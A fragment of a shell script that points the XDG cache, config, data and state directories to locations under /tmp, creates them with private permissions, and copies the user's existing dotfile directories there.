chmod 0700 "${XDG_CACHE_HOME}"
)
cp -ax $HOME/.cache /tmp
export XDG_CONFIG_HOME="/tmp/.config"
[ -d "${XDG_CONFIG_HOME}" ] || (
mkdir -p "${XDG_CONFIG_HOME}"
chmod 0700 "${XDG_CONFIG_HOME}"
)
cp -ax $HOME/.config /tmp
export XDG_DATA_HOME="/tmp/.local/share"
[ -d "${XDG_DATA_HOME}" ] || (
mkdir -p "${XDG_DATA_HOME}"
chmod 0700 "${XDG_DATA_HOME}"
)
export XDG_STATE_HOME="/tmp/.local/state"
[ -d "${XDG_STATE_HOME}" ] || (
mkdir -p "${XDG_STATE_HOME}"
chmod 0700 "${XDG_STATE_HOME}"
)
cp -ax $HOME/.local /tmp